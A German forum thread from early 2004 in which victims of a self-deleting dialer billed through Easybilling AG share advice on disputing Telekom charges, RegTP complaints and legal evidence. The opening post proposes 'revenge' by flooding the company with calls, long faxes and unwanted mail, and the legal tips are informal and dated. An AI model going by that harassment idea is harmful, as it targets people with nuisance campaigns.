ich hoffe mich versteht hier jetzt niemand falsch und es ist nicht gegen die forenbedingung, aber man kann sich ja auch auf legalem wegen "rächen". ich rede von telefonanrufen, ewig langen faxen, von ungewollter post und dergleichen. adresse von easybilling ist bekannt, ebenso die telefonnummer (meine nicht die 0180 von der impressumsite)...


----------



## Anonymous (30 Januar 2004)

Hallo Gemeinde,
zum Thema habe ich soeben ein Artikel gefunden:

Nach Auffassung des Amtsgerichts Hamburg kommt ein Vertrag zwischen Anschlussinhaber und Mehrwert-Diensteanbieter auch dann zu Stande, wenn der Inhaber die Herstellung der Verbindung nicht gewollt und nicht bemerkt hat, sondern die Verbindung automatisch zu Stand gekommen ist. Da dieser Umstand niemals durch den Dienstanbieter beurteilt werden könne, sei es Sache des Nutzers, dafür Sorge zu tragen, dass von seinem Anschluss oder PC aus kein eingenisteter Dialer eine Verbindung aufbauen könne (AG Hamburg Barmbek, Az.320 S 138/03).


----------



## Der Genervte (30 Januar 2004)

Anonymous schrieb:
			
		

> (AG Hamburg Barmbek, Az.320 *S* 138/03).



Achja, mal wieder ein "Gast", und das Thema mit dem Aktenzeichen ist ja auch schon durchgekaut   *gähn


----------



## Anonymous (30 Januar 2004)

Wenn Du Probleme mit Gästen hast, so musst Du dafür sorgen, dass die keinen Zutritt zu diesem Forum bekommen.


----------



## Heiko (30 Januar 2004)

Anonymous schrieb:
			
		

> Wenn Du Probleme mit Gästen hast, so musst Du dafür sorgen, dass die keinen Zutritt zu diesem Forum bekommen.


Wenn Du damit Probleme hast, dass viele User Postings von Gästen etwas mißtrauisch beäugen, dann melde Dich an.
Aktuell gibt es keine Planungen für einen Anmeldezwang. Allerdings werden Gastpostings eben oft kritischer gesehen - was auch teilweise verständlich ist.


----------



## Der Genervte (30 Januar 2004)

@Gast

1) was Heiko schrieb

2) Du schaun hier: http://forum.computerbetrug.de/viewtopic.php?p=37912#37912 (und Posting davor von Katzenhai)

Alles klar?


----------



## Anonymous (30 Januar 2004)

sollte ich das menschliche und fachliche Klima dieses Forums gestört haben so tut es mir leid. Es gibt aber hin und wieder auch Mitbürger die neu sind in diesem Forum und sich wegen einem Posting nicht gleich anmelden. Wenn der Beitrag (siehe oben) nicht erwünscht ist, so kann der Admin Ihn gerne wieder löschen.


----------



## Heiko (30 Januar 2004)

Anonymous schrieb:
			
		

> sollte ich das menschliche und fachliche Klima dieses Forums gestört haben so tut es mir leid. Es gibt aber hin und wieder auch Mitbürger die neu sind in diesem Forum und sich wegen einem Posting nicht gleich anmelden. Wenn der Beitrag (siehe oben) nicht erwünscht ist, so kann der Admin Ihn gerne wieder löschen.


Du bist gerne eingeladen, hier Deine Meinung zu veröffentlichen. Ich wollte bloß transparent machen, dass viele User Gastpostings für weniger vertrauenswürdig halten.
Ich halte es sogar für sinnvoll, wenn sich User *nicht* anmelden, falls sie sich nicht dauerhaft beteiligen wollen oder eben "nur mal kurz" eine Frage haben.


----------



## Opfer (31 Januar 2004)

So, da bin ich wieder. Soeben ist die Telekom Rechnung ins Haus geflattert. Es ist (welch Wunder) ein Posten mit 25,82 Euro aufgeführt (zzgl. U-St.). Was mich ein bisschen wundert, ist die Bezeichnung:

1 Verbindungen des PRS (Offline) von T-Com

Äh...bitte ? Was soll denn das bedeuten ? Ich ghe einfach mal davon aus, das damit der Einbruch in mein System gemeint ist, bei dem sich selbständig der Dialer eingenistet und aktiviert hat. Normalerweisse, würde ich ja jetzt umgehend die Kohle holen, und den realen Betrag zurücküberweisen. Jedoch gibt es ein kleines Problem: Die Rechnung läuft über ein Geschäftskonto meiner Mutter, da wir uns ISDN teilen (auf zwei Wohnungen verteilt). Das komische ist auch, das der Posten unter der Rufnummer meiner Mutter aufgeführt ist. Ist es zwingend erforderlich den Betrag zu stornieren, oder kann man nicht einfach (um dem ganzen Stress mit Inkasso und Co aus dem Weg zu gehen) den Betrag zurückklagen ? Weil, wenn die Kasper von Easybillig den Betrag von sich aus zurückerstatten (was in Ihrem Sinne sein sollte um weiteren juristischen Sanktionen aus dem Weg zu gehen) hätte sich das Thema ja auch erledigt, oder nicht ?

Opfer


----------



## Anonymous (31 Januar 2004)

Opfer schrieb:
			
		

> PRS (Offline) von T-Com
> 
> Äh...bitte ? Was soll denn das bedeuten ?


Offlinebilling für Premium Rate Service, gemeint ist die Verwendung von 0190/0900er Nummern, offensichtlich aus einem Pool der T-Com.

Wenn es die Geschäftsrechnung eines Dritten betrifft, kann das Lastschriftverfahren auch nur durch einen Berechtigten korrigiert werden. Da die Verbindung durch einen Anschluss Deiner Mutter zustande kam, müsstest Du jetzt eh erstmal nachforschen, ob das überhaupt die Verbindungen sind, die Du erwartet hattest - oder ist letztlich alles in einer TK-Anlage gebündelt? Dann nämlich, wenn Du mit Deiner üblichen Nummer im Netz warst, hat der Dialer womöglich auf irgendeine andere, zu Verfügung stehende Nummer, zugegriffen.
Bezahlen und hoffen, dass von Easy Billing etwas auf Widerspruch zurück kommt, halte ich für sehr gewagt. Hier gilt immer der Spruch: *wer das Geld hat, hat das Sagen.* Wenn die Eggebeker erstmal von der T-Com bedient worden sind, interessiert eine Rückforderung in so geringer Höhe aller Wahrscheinlichkeit nach niemanden mehr. Endkunden lässt man bekanntlicher Weise am ausgestreckten Arm verhungern. Aber womöglich ist ja die Easy Billing recht sozial eingestellt und baut Rufschädigung durch Rückerstattung von Peanuts auch vor - möglich ist alles!

Wie war das nochmal - bestand überhaupt gem. PRS-Nummer ein Zahlungsanspruch? Wenn dem nicht so ist, solltet Ihr keinesfalls zahlen. Auch die T-Com hat diesbezüglich bereits dazu gelernt und bucht bei dem Satz: _"...gem. Datenbank der RegTP besteht kein Zahlungsanspruch, da das verwendete Einwahlprogramm zum Zeitpunkt der Einwahl nicht registriert war!" _Endkunden anstandslos aus.


----------



## Opfer (31 Januar 2004)

Hi anna 

Also, es existiert nur eine Telefonanlage (in meiner Wohnung installiert) und von dort aus hab ich die Leitungen zu meinen Eltern in die Wohnung eine Etage tiefer gelegt. Also es laufen alle Verbindungen über diese Anlage. Meine Mutter kann es eigentlich nicht verursacht haben, da Sie wirklich nur DSL an Ihrem Computer benutzt (ironischerweisse, hab ich Ihr das damals so eingerichtet in Hinblick auf Dialer  :-? ). 



> Wie war das nochmal - bestand überhaupt gem. PRS-Nummer ein Zahlungsanspruch? Wenn dem nicht so ist, solltet Ihr keinesfalls zahlen. Auch die T-Com hat diesbezüglich bereits dazu gelernt und bucht bei dem Satz: "...gem. Datenbank der RegTP besteht kein Zahlungsanspruch, da das verwendete Einwahlprogramm zum Zeitpunkt der Einwahl nicht registriert war!" Endkunden anstandslos aus.



Genau hier liegt der Hund begrabern (*wuff*): In der RegTP ist diese Nummer die gewählt wurde nur mit 2 Dialern in Verbindung zu bringen. Die Dateinamen sind dann Dialer....exe und bei einem ist noch von einer Web.exe die Rede. Ich habe mittels spezieller Tools ALLE Daten aus dem fraglichen Zeitraum (Dialereinwahl wurde ja von mir bemerkt und nach 13 Sekunden gestoppt) wiederhergestellt, aber nur noch 1 Protokol finden können, bei dem die Sendebefehle an das ISDN Modem stehen. Es befand sich aber keine *.exe auf meinem Rechner. Das macht das ganze natürlich etwas kompliziert. Da ich aber nicht faul war, habe ich mittlerweile einiges an Material gesichert (Dazu mach ich aber hier mal keine weiteren Angaben). Eine Mail an die RegTP habe ich ebenalls geschrieben gehabt, allerdings ohne Antwort bisher. 



> Dann nämlich, wenn Du mit Deiner üblichen Nummer im Netz warst, hat der Dialer womöglich auf irgendeine andere, zu Verfügung stehende Nummer, zugegriffen.



Ich bin mit gar keiner Nummer im Netz, da ich über einen *separaten*  Anschluss für mein DSL verfüge (also kein Splitter an TAE oder so) und auch nicht bei T-Online bin für mein Internet.

Gruss
Opfer


----------



## Anonymous (31 Januar 2004)

@Opfer, in der RegTP-Datenbank ist doch auch ein Link bei dem Registrierungsantrag eingegeben, der die Funktionsweise des Dialers darstellt - kannst Du damit etwas anfangen?

Wenn nicht, dann hier ein kleiner Trost im Voraus, was Deine Entscheidungen und Zahlungsbereitschaft beeinflussen sollte:
_wenn es sich tatsächlich um diese Matlock-Sache über die Easy Billing handelt, dann wird demnächst die Registrierung für alle Produkte rückwirkend zurück gezogen!_

Somit solltest Du auf jeden Fall mit der T-Com ins Reine kommen, d. h. Du musst den üblichen Weg gehen: (Lastschrift zurück, nur den unstrittigen Teil zahlen und dem Einzelposten ordentlich widersprechen). Alles weitere hat sich dann mit der RegTP-Aktion erledigt und Du kannst irgendwann Deine "Beweise" sogar stecken lassen.

Wenn die Rechung allerdings ganz frisch ist (innerhalb sechs Tagen), dann könnt Ihr auch den s. g. "Einwand" setzen - einfach bei der Rechnungsstelle gem. Rechnung anrufen und Widerspruch gegen den Einzelposten erklären. Das spart die Lastschriftgebühr (4 €) und die T-Com bereinigt die Position ohne weiteres. Vergleiche danach den Bankeinzug mit der Rechung, wenn die 25 € weniger abgebucht worden sind, hat´s geklappt!
Danach liegt es bei den Eggebekern, eine neue Rechnung zu erstellen und da spielt der Zeitfaktor hinsichtlich der RegTP-Aktion eine große Rolle für Dein weiteres Vorgehen.


----------



## Counselor (31 Januar 2004)

anna schrieb:
			
		

> _wenn es sich tatsächlich um diese Matlock-Sache über die Easy Billing handelt, dann wird demnächst die Registrierung für alle Produkte rückwirkend zurück gezogen!_



Das wird Zeit. Es handelt sich um einen selbstlöschenden Dialer.


			
				Matlock schrieb:
			
		

> Beim Anklicken des Feldes"EINGANG" wird auf meinem Rechner eine Zugangssoftware aktiv, um eine kostenpflichtige Verbindung zum Preis von 1,86 Eur pro Minute aufgebaut. (Die Zugangssoftware bewirkt weder Änderungen noch Löschen der auf Ihrem Rechner vorhandenen Dateien und wird nach dem Verbindungsaufbau geloscht.)
> ...Matlock Business Corp. Jasmine Court, 35A Regent Street, P.O. Box 1777, Belize City, Belize


----------



## Opfer (31 Januar 2004)

Also:

Die Beschreibungen bei der RegTP treffen bei mir definitiv *nicht* zu (Da ist das auch so beschrieben, das der User explizit bestätigen muss, sich mit AGBs einverstanden erklären muss usw). Dies war bei mir nicht der Fall. Bei mir wurde wohl ein Bug im IE ausgenutzt (siehe auch der Dialer Automatisierungs Threat). Davon abgesehen, ist das Reg Datum des einen Dialers bei der RegTP vom 09.12.2003 und der ist somit ungültig. Damit bliebe nur noch der eine Dialer übrig, und der wird laut RegTP so beschrieben:



> Kunde kommt auf Webseite die genauso aussieht wie der Dialer. Anschliessend muss er den Bezug sowie die Aktivierung jeweils mittels Eingabe des Wortes JA bestaetitgen. Danach wird je nach Kundenrechner entweder per Script oder Applet der Dialer herunter geladen. Wenn dieser die Verbindung aufbauen soll. muss der Kunde das nocheinmal ausdruecklich mit der Eingabe von JA bestaetigen. Danach unterbricht dieser die bestehende Verbindung und baut zu der kostenpflichtigen Rufnummer eine Verbindung auf.



Um das nochmal klar zu stellen: Ich habe nirgendwo auch nur einmal "ja" eingetippt. Ich bin nur misstrauisch geworden, als sich nach einer Pop-Up Orgie beim Klicken eines Links ein Pop-Up in der Taskbar "festgefressen" hatte. Da wars aber auch schon zu spät.
Und bei der Adresse des Registrierungsverpflichteten steht:

Easybilling AG
Hauptsraße 4
24852 Eggebek

Also sind das unsere Freunde aus Eiershausen 
Nur mal so nebenbei wegen diesem Matlock. Ich bin zu 99,99% sicher das es sich bei dem guten Herrn Geschäftsführer um einen Deutschen handelt. Somit könnte man Ihn ja auch voll zur Verantwortung ziehen denk ich mal 
Aber zurück zum eigentlichen Thema: Die Rechnung ist heute ins Haus geflattert (oder eher gekracht bei dem Mehrbetrag *g*). Also werde ich dann am Montag morgen direkt die Rechnungsstelle anrufen und den Betrag stornieren lassen, richtig ? Und hilft es etwas direkt zu sagen, das dies durch einen Dialer zustande kommt bzw. um wen es sich handelt ? Also wissen die bei der T-Com da schon bescheid ? Oder brauch ich gar nichts zu sagen ?

Gruss
Opfer


----------



## cicojaka (31 Januar 2004)

Opfer schrieb:
			
		

> Also sind das unsere Freunde aus Eiershausen
> Nur mal so nebenbei wegen diesem Matlock. Ich bin zu 99,99% sicher das es sich bei dem guten Herrn Geschäftsführer um einen Deutschen handelt. Somit könnte man Ihn ja auch voll zur Verantwortung ziehen denk ich mal



ruf ihn doch mal an unter seiner zutiefst amerikanischen Telefonnummer...

+49.***

Grüsse
cico


P.S.: Nicht nur ein Witz... Immerhin muss die Nr ja registriert sein..., ein Staatsanwalt könnte doch nachforschen und evtl... entweder er spiegelt eine falsche Identität vor oder... er ist so dumm gewesen. Wenn die Nr mal wieder ein halter Hut ist, sorry. Ich bin ja nur der Chaostheoretiker...


----------



## Anonymous (31 Januar 2004)

Counselor schrieb:
			
		

> Das wird Zeit. Es handelt sich um einen selbstlöschenden Dialer.



Das hat man bei der RegTP bereits erkannt - da ist nix registrierungsfähig und außerdem hat man in Eggebek auf stur ggü. den Regulierern gestellt - selbst Schuld!  :lol:



			
				ich schrieb:
			
		

> ...unter dem Vorgang *Reg TP: A000 531* liegt dort bereits seit dem 26.09.2003 eine Beschwerde von vor. Damals wurde mit der "*web.exe*" die Nummer der Easybilling AG in Eggebek...


----------



## Anonymous (31 Januar 2004)

Opfer schrieb:
			
		

> Also werde ich dann am Montag morgen direkt die Rechnungsstelle anrufen und den Betrag stornieren lassen, richtig?


 :dafuer: 


			
				Opfer schrieb:
			
		

> Und hilft es etwas direkt zu sagen, das dies durch einen Dialer zustande kommt bzw. um wen es sich handelt ? Also wissen die bei der T-Com da schon bescheid?


Das wird den Hotliner recht wenig interessieren - halte Dich kurz und bringe Dein Anliegen auf den Punkt, basta. Dialer hin oder her, Du möchtest Dich mit dem Anbieter des PRS selbst auseinander setzen, da Du den Vertragsschluss anzweifelst.

Poste mal, was bei dem Telefonat raus kam und ob das Storno bei der Abbuchung eingearbeitet war.


----------



## cicojaka (1 Februar 2004)

Schatzhauser schrieb:
			
		

> der rückruf der regulierungsbehörde war sehr aufbauend. keine screenshots, kein abgespeicherter dialer, kein beweis. ich weiß, ich erzähl euch da nichts neues.
> und der anwalt sagt: zahl, die chancen sind gleich null.




Hoffentlich schaut der gute Mann von Seite 3 hier noch einmal rein


----------



## Anonymous (2 Februar 2004)

Ich kann mich ebenfalls in den Club der Geschädigten einreihen. Habe am Samstag die Telefonrechnung vom Januar erhalten und da fand ich ebenfalls die ominose Nummer (25,819 Euro netto). Glücklicherweise fand ich diesen Thread.
Bis dato war ich in dem Irrglaube, dass sich Dialer nur durch Aktivität des Nutzers installieren. Da ich grundsätzlich Popups mit irgendwelchen Buttons wegklicke, wähnte ich mich bis jetzt auf der sicheren Seite. Deshalb habe ich Anfang Januar der Situation auch keine Aufmerksamkeit geschenkt. Ich bin davon ausgegangen, dass mein Provider ein Problem hatte. Es funktionierte ja auch alles wie vorher!
Jedenfalls habe ich ebenfalls Beschwerde bei der Regulierungsbehörde eingelegt, sowie Einspruch bei der Telekom (zum Glück buchen die nicht ab, so dass ich den Betrag gleich abziehen kann). Mal sehen was dabei rauskommt. Ich stelle mich also gerne zur Verfügung, falls jemand Betroffene sucht.

Grüsse Sven


----------



## technofreak (2 Februar 2004)

Mr.Scrut schrieb:
			
		

> sowie Einspruch bei der Telekom (zum Glück buchen die nicht ab,
> so dass ich den Betrag gleich abziehen kann).



Unbedingt  den  unstrittigen Anteil angeben!  Sonst verteilt die T-COM den überwiesenen  Betrag 
anteilig auf die Gesamtsumme und es droht dann Sperre des Anschlusses.


----------



## Opfer (2 Februar 2004)

So, ich habe bei der Telekom angerufen und mich mit einer Sachbearbeiterin unterhalten. Sie meinte Sie gibt das weiter, kann aber nicht versprechen, das es noch berücksichtigt wird, bzw. das der zuständige Sachbearbeiter das auch kapiert  Ich sollte in jedem Fall noch schriftlich Einspruch gegen den Posten einlegen. Die Dame war ganz nett, das einzige was mich gestört hat, war die Frage ob ich mich denn gegen Dialer schützen würde. Naja, however, hier der Text den ich geschrieben und losgefaxt habe:



> An die Deutsche Telekom
> 
> xxx, den 02.02.2004
> 
> ...



Ich hoffe, das ist so in Ordnung. Jetzt schaun mer mal ob die auch wirklich den Posten ausbuchen, und die Rechnung berichtigt wird.

Gruss
Opfer[/quote]


----------



## Tomdooly (2 Februar 2004)

Hallo,

ich bin das nächste Opfer. Mein Fall ist schon ein bisschen älter, habe im Sep. 2003 angeblich die Nr.: 0190/8336987 gewählt. Bis vor einigen Tagen war noch kein Eintrag in der Reg-TP Datenbank und nun steckt die:

Easybilling AG
Hauptsraße 4
aus
24852 Eggebek

dahinter. (http://bo2005.regtp.de/prg/srvcno/dialer.asp)

Meine Geschichte unter: http://forum.computerbetrug.de/viewtopic.php?t=3855&sid=2f462f85116cb406bd374b6bc5e4ca86

Werde auf jeden Fall auch eine Beschwerde schreiben. 

Gruß
T.


----------



## Anonymous (3 Februar 2004)

Hallo,

ich bin froh um Eure Beiträge! Mich hat es auch erwischt. Situation: Habe PC längere Zeit (Stunden) unbeaufsichtigt downloaden lassen. Habe eigentlich (fast) nichts Verdächtiges besucht und vor allem nix bemerkt! D ie letzten Wochen. Und jetzt das:

- im DFÜ Netzwerk steht neben dem regulären Eintrag von puretec/1und1 noch "Relax_B". Unter Rufnummer: "T090090000262", Benutzername "rst-..."

- YAW hat unter Quarantäne den Eintrag: web.exe und das das verdächtig sei. Genauen Wortlaut habe ich nicht hier, kann ich aber nachreichen.

- web.exe ist auf dem Rechner nicht zu finden

Ich kann nur hoffen, dass nichts passiert ist und falls doch (klopf auf Holz), dann werde ich Eure wertvollen Tipps abarbeiten. Danke. Gruß.


----------



## Anonymous (3 Februar 2004)

*Ergänzung*

Hallo nochmals,

habe inzwischen den Text von YAW 3.5 Quarantäne nachgeguckt:

"verdächtig: Datei ist mit einem UPX Scrampler gepackt" (mir sagt das leider nix).

Im Verzeichnis Quarantäne fand ich dann den Rest des Unheilbringers: eine ca. 20 kb große Datei bestehen aus vermutlich Hex-Zahlen und einigem lesbaren Geschreipsel, wie: M A T L O C K  
und Versions Nummer und sowas.

Wenn es jemand brauchen kann? Ich gebe es gerne ab...
Die Datei ist wohl so nicht mehr schädlich.....   

Passiert ist das ganze wohl schon am 19.1. . Kann jemand abschätzen, ob es mich erwischt hat? Oder ist mit der "Quarantänisierung" durch YAW alles ok, obwohl schon der beschriebene Eintrag im DFÜ besteht?

so long


----------



## Anonymous (3 Februar 2004)

Gast (Micha) schrieb:
			
		

> Habe eigentlich (fast) nichts Verdächtiges besucht und vor allem nix bemerkt!


Gerade das (fast) ist offensichtlich der Knackpunkt. Micha, Dich kennt hier niemand und niemand weiß wer Du bist - als Hosen runter! Was hast Du downgeloadet, auf welcher URL warst Du unterwegs.

(Die URL bitte nicht posten, ggf zuvor hier anmelden und dann per PN z. B. an mich!)


----------



## Der Genervte (4 Februar 2004)

[Humor]



			
				anna schrieb:
			
		

> ... als Hosen runter! ...



Ähhmm, Anna, ich hoffe, Du hast Dir vor dieser Aufforderung die jugendschutzrechtlichen Aspekte überlegt. Eventuell vorher eine F2F Kontrolle?

[/Humor]

 :lol:


----------



## Anonymous (4 Februar 2004)

*Noch ein Opfer relax_g*

auch mich hat es erwischt. ich wurde am 02.02..04 von der Telekom angerufen.
Man hat mich gefragt ob es seine Richtigkeit hat das ein Dialer zugeschlagen hat.
Fand ich ja schon mal nett, das die Telekom mich fragt .
Ich sagte nee ist nicht richtig. Ich habe meinen Anscluß direkt bei der Telekom gegen Dialer Nummern gesperrt. Das hat bisher ja meine TK Anlage gemacht.
Die nette Dame von der Telekom (wirklich nett und hilfreich) hat mir dann vorgeschlagen, meinen Anschluß auch gegen interkontinentale Verbindungen zu sperren.
Das ist wohl das aller neuste, das dielaer sich nicht in good old germany einwählen, sondern erst eine Ländervorwahl  von einem Bananenstaat wählen.
In meinem Fall hat ein Blockdialler zugeschlagen. Pro  Verbindung 30,00 EURO
(jede Verbindung hielt 10 Sekunden, wurde getrennt, und wurde wieder aufgebaut.
Das Ganze 9 mal also 270,00 Euro.
Ein Bekannter, der sich im online Recht gut auskennen soll, sagte folgendes:

Die Verbindungen sind zustande gekommen. Heißt ich muß an die Telekom zahlen.
Jedoch hätte eine Wiederanwahl erst nach 20 Minuten erfolgen dürfen und nicht nach wenigen Sekunden.  Das ist das einzige, was ich bei meinem nächsten Urlaub in Belize anbringen kann. Die web.exe gibt es ja leider nicht mehr auf meinem Rechner.


----------



## Anonymous (4 Februar 2004)

Hui, also ich versuch mal zu zitieren. Bin noch nicht sehr fit in dieser Materie:




			
				Anna schrieb:
			
		

> Gerade das (fast) ist offensichtlich der Knackpunkt...



Also ich habe ja mehr auf ein paar Hilfreiche Worte mein Problem betreffend gewartet. Vielleicht, dass jemand mit dem Quarantänte File etwas anfangen kann.



			
				Anna schrieb:
			
		

> Hosen runter!



Ich kenn Dich ja auch nicht, darum warte ich mit meinen Hosen noch etwas...   Würdest Du denn den Rock anheben?     

Aber im Ernst: Ich kann mich anmelden. Aber wie Heiko weiter oben schrieb, ist es sinnvoll, wenn man  (kurzzeitiger) Gast ist, sich auch als solcher zu "outen"!?
Wenn es üblich sein sollte, etwas über sich selbst zu schreiben, dann kann ich das im gleichen Maße machen, wie es eben alle tun. Aber so wie ich den Leuten hier fremd bin, geht es mir genauso. Da es sich nicht um eine persönlich sensibles Thema handelt, wie zum Beispiel Alkoholiker oder zwanghafte Diebe (ja die Fremdwörter...), etc., finde ich die Art und Weise wie es hier läuft genau richtig.

Aber jetzt zu meinen Hosen   :
Ich war über das Wochenende auf einer seriösen Seite und habe längere Zeit was geladen. Es ist nix aufgepopt. Und es gab sonst nix Verdächtiges. Da der Download Stunden dauerte, legte ich mich schlafen. Und als ich den Dialer entdeckte, vermutete ich, dass die Attacke während ich schlief stattgefunden hatte.
Da aber da Quarantäne File vom 19.01. zu stammen scheint. War es wohl folgender Vorgang: Ich fotografiere hobbymäßig und habe Zwecks Orientierung um eine eigen Seite zu erstellen über Google Seiten von Fotografen gesucht und besucht. Während vieler besuchter Seiten kam es auch  zu merkwürdigen Vorgängen: plötzlich lange Ladezeit und 1,2, Fenster die aufgepopt sind. Habe alles weggeklickt, aber in der Zeit könnte doch was passiert sein?

Ich will hier niemals Werbung machen. Aber Ich nutze dieses YAW 3.5. Und wenn es mich gerettet hat (die Telefonrechnung muß es zeigen), dann werde ich es registrieren. Ich nutze auch Symantec Internet Security. Finde ich auch ok.

@der Genervte:

bin über 18   was bitte ist eine F2F Kontrolle? Danke im voraus

Gruß, Micha


----------



## Opfer (4 Februar 2004)

Meine Hände zittern....gerade hat mich eien Dame der Telekom angerufen und irgendwas von wegen dem Dialer gefaselt. Ich müsse nachweisen, wie die genaue Nummer des Dialers lautete und so weiter. Sie könnten das, da ich keinen Einzelverbindungsnachweis habe, nicht feststellen, blahblah. Ich krieg echt nen Hals. Was wollen die von mir ? Ich dachte, die Buchen jetzt den Betrag aus, und gut is, und dann muss sich die Easybilling bei mir melden oder wie oder was ? Jedenfalls werde ich der guten Frau jetzt die Logs der Eumex und ein Verbindungsprotokoll zowie Auszüge aus dem Ereigniss Protokoll senden.

(ein stark angesäuertes) Opfer


----------



## Counselor (4 Februar 2004)

Opfer schrieb:
			
		

> Meine Hände zittern



Dann ist die Nummer im Netz der Telekom geschalten und die Telekom macht das Inkasso (Tarife T1 bis T4, € 1,86/min).


----------



## Der Jurist (4 Februar 2004)

Opfer schrieb:
			
		

> Meine Hände zittern....gerade hat mich eien Dame der Telekom angerufen und irgendwas von wegen dem Dialer gefaselt. Ich müsse nachweisen, wie die genaue Nummer des Dialers lautete und so weiter. Sie könnten das, da ich keinen Einzelverbindungsnachweis habe, nicht feststellen, blahblah. Ich krieg echt nen Hals. Was wollen die von mir ? Ich dachte, die Buchen jetzt den Betrag aus, und gut is, und dann muss sich die Easybilling bei mir melden oder wie oder was ? Jedenfalls werde ich der guten Frau jetzt die Logs der Eumex und ein Verbindungsprotokoll zowie Auszüge aus dem Ereigniss Protokoll senden.
> 
> (ein stark angesäuertes) Opfer




Im Schreiben bitten den CDR - Call Data Record - herauszugeben, notfalls von Easybilling beschaffen.


Bei E. gibt es einen Datensatz, der Deine vollständige Nummer enthält und die übrigen auch.


----------



## blumenwiese23 (4 Februar 2004)

*easy billing*

so, mich hat es auch erwischt. sechs verbindungen a 25 euro. ich habe die nummer 090090000264. telekom sagte mir am telefon, die firma heisst easy billing. ich glaub hier im forum bin ich richtig.
hab jetzt bei der telekom angerufen und gesagt, sie sollen nur unstrittigen betrag abbuchen. das gleiche habe ich auch noch schriftich gemacht.
wie soll ich weiter vorgehen?? hab meinen pc schon gecheckt wegen einer web.exe. nix gefunden.

danke


----------



## Der Jurist (4 Februar 2004)

Als ersten Schritt - soweit nicht bereits erledigt - empfehle ich:


http://www.dialerschutz.de/home/Geschadigte/geschadigte.html

Dort vor allem der Rechnung widersprechen und genau angeben welcher Betrag gezahlt wird und welcher nicht, da sonst anteilig auf alle Rechnungsposten verteilt wird:

Vgl. § 15 Abs. 2 TKV

(2) Begleicht der Kunde die Rechnung nur teilweise, ist, soweit nichts anderes vereinbart ist, im Zweifel davon auszugehen, dass die Zahlung auf die Forderungen der einzelnen Anbieter entsprechend ihrem Anteil an der Gesamtforderung erfolgt.

Musterschreiben für den Widerspruch findest Du unter: http://www.dialerschutz.de/home/Downloads/downloads.html

Den Widerspruch nicht nur dem Rechnungssteller (Telekom, Arcor usw.) sondern auch den Dienstanbieter übermitteln, wenn deren Anschrift aus der Rechnung hervorgeht. Dabei musst Du beachten, dass Du im Streitfall den Zugang des Widerspruchs beweisen musst. Deshalb dieses Schreiben als Einschreiben mit Rückschein senden. Normaler Brief und Fax geht auch, wenn Du von Deinen Faxgeräte auf der ersten verkleinerten Seite des Schreibens den Sendebericht ausgedruckt bekommst. Ein „normales“ Faxjournal ist nicht als Beweis geeignet.


Zum Problem Einzelverbindungsnachweis und Vorlage des Prüfprotokoll gemäß § 16 TKV:
http://forum.computerbetrug.de/viewtopic.php?t=3135


Zur Registrierung und ihrer rechtlichen Bedeutung:
http://forum.computerbetrug.de/viewtopic.php?t=3123


Einen ganz konkreten Fall mit vielen Musterschreiben findet man unter:  http://forum.computerbetrug.de/viewtopic.php?t=1207&postdays=0&postorder=asc&start=0   und http://forum.computerbetrug.de/viewtopic.php?t=3560&postdays=0&postorder=asc&start=0   – kostet aber etwas Zeit.

Wichtig ist dann noch die Beweislastumkehr im Forum unter http://forum.computerbetrug.de/viewtopic.php?t=2545

Die Beweislastumkehr ist notwendig, weil die Mehrwertdienstanbieter sich auf den Standpunkt stellen, dass mit der Einwahl ein Vertrag geschlossen sei und ihr Dialer sich niemals automatisch einwählen würde.


----------



## blumenwiese23 (4 Februar 2004)

*kompliziert..*

wow, nicht schlecht. danke. also ich hab jetzt halt der telekom geschrieben, sie sollen nur den unstrittigen betrag abbuchen. bin mal gespannt, ob sie das machen. falls nicht kann ich innerhalb von 6 wochen die buchung rückgängig machen. dann überweis ich den unstrittigen betrag. dann warte ich bis sich easy billing bei mir meldet. oder???
soll ich auch noch beschwerde bei der regTP einlegen??
kann als beweis nur meinen einzelverbindungsnachweis von der telekom vorweisen. 
wenn so viele von der easy billing firma betroffen sind, wird doch die regTP aufmerksam auf die. oder?? bin mal gespannt was da raus kommt...

danke erstmal


----------



## Nebelwolf ✟ (4 Februar 2004)

Hallo Blumenwiese23,

es empfiehlt sich zusätzlich bei Telekom anzurufen und zu prüfen, ob Dein Schreiben tatsächlich bearbeitet worden ist (Name, Datum, Uhrzeit notieren). Vor ein paar Jahren habe ich da eine Phase der Telekom erlebt, wo alles Schriftliche verschwand. Sogar mehrere Lastschriftermächtigungen mit aufgedruckter Telekom-Anschrift sind nie bearbeitet worden.

Schöne Grüße
Nebelwolf


----------



## Der Jurist (4 Februar 2004)

*Re: kompliziert..*



			
				blumenwiese23 schrieb:
			
		

> ... also ich hab jetzt halt der telekom geschrieben, sie sollen nur den unstrittigen betrag abbuchen. ...
> danke erstmal




Bitte noch einmal schreiben und der T erklären, welcher Betrag nicht bezahlt wurde. Sonst verteilen die das eingegangen Geld gleichmäßig auf alle offenen Posten.

Das Schreiben am besten faxen, aber nur mit Gerät/Programm das dann als Nachweis des Zugangs die erste Seite verkleinert und dort die Verbindungsdaten aufdruckt - etwa FritzFax unter Nachweis drucken.

Du musst einen Beleg haben, dass Du der Telekom das mitgeteilt hast, sonst können die Dir drohen den Anschluss zu sperren.


----------



## Mr.Scrut (4 Februar 2004)

*Mr.Scrut*

Jetzt versteh ich die Welt nicht mehr. Nachdem ich alle Threads zu diesem Thema gelesen habe, und mir auch aufgefallen ist, dass es eine web.exe geben muss, habe ich doch nie bei mir selbst nach geschaut. Aus welchen Gründen auch immer existiert diese Datei bei mir jedoch noch (auf C:\), sie hat sich also nicht gelöscht!!!
Das Datum (05.01.) und die Uhrzeit stimmen ebenfalls mit dem Datum (Uhrzeit überein), an dem die Verbindung stattfand. Nach Sicherung der Datei wollte ich die Wirkungsweise ausprobieren (natürlich vorher Stecker gezogen) und nun wird doch tatsächlich alles so angezeigt, wie es der RegTP Datenbankeintrag vom 17.12. zeigt. Ich habe aber definitiv am 05.01. niemals JA eingegeben, es lief wie von vielen beschrieben automatisch ohne meinen Einfluss. Nach Schliessen des Fensters hat sich diesmal die Datei automatisch gelöscht. 
Im Forum habe ich auch gelesen, dass manche Dialer beim ersten Mal völlig automatisiert zuschlagen.
Wie soll ich jetzt aber nachweisen, dass ich nicht damals auch JA eingegeben und bestätigt habe, wenn ich diese Datei an RegTP weiterleite? Offensichtlich gibt es auch einen Hash-Wert usw.
Wäre dankbar für Hinweise.

PS.: Ich bin gerne bereit, die gezippte Datei zur Untersuchung an interessierte Leute weiterzugeben.


----------



## blumenwiese23 (4 Februar 2004)

*telekom*

@der jurist
